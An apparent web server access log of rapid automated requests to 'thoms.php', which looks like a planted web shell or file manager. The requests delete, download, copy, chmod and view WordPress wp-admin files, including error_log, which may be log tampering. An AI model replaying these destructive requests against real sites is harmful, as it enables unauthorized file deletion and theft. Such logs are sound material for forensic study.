45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?del=options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28969 "http://163.245.207.76:443/thoms.php?del=options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13783 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?dl=update-core.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16884 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 11996 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14265 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?chmod=css&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=css&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19186 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?chmod=font-library.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14056 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19521 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?dl=edit-tags.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?dl=contribute.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /bossini.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?dl=link.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=link.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /bossini.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?del=ms-users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28988 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?del=post-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?chmod=ms-admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:00 -0400] "GET /thoms.php?del=maint&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28968 "http://163.245.207.76:443/thoms.php?del=maint&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?chmod=options-privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15283 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?chmod=ms-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /bossini.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?dl=revision.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /bossini.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?chmod=admin-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?del=site-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19292 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?dl=menu-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:01 -0400] "GET /thoms.php?del=user-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?del=includes&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=includes&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?del=customize.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28968 "http://163.245.207.76:443/thoms.php?del=customize.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18590 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?chmod=link-add.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?del=edit-tags.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /bossini.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /bossini.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /bossini.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?dl=tools.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fuser-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fuser-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12154 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?chmod=ms-themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /bossini.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?chmod=custom-background.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?del=edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?dl=options-connectors.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?chmod=setup-config.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30186 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /bossini.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?del=term.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=term.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ftheme-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ftheme-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /bossini.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20026 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?chmod=network&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=network&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcustom-background.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcustom-background.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ferror_log&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ferror_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?del=error_log&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=error_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12657 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /thoms.php?dl=options-discussion.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:04 -0400] "GET /bossini.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?dl=update.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:05 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
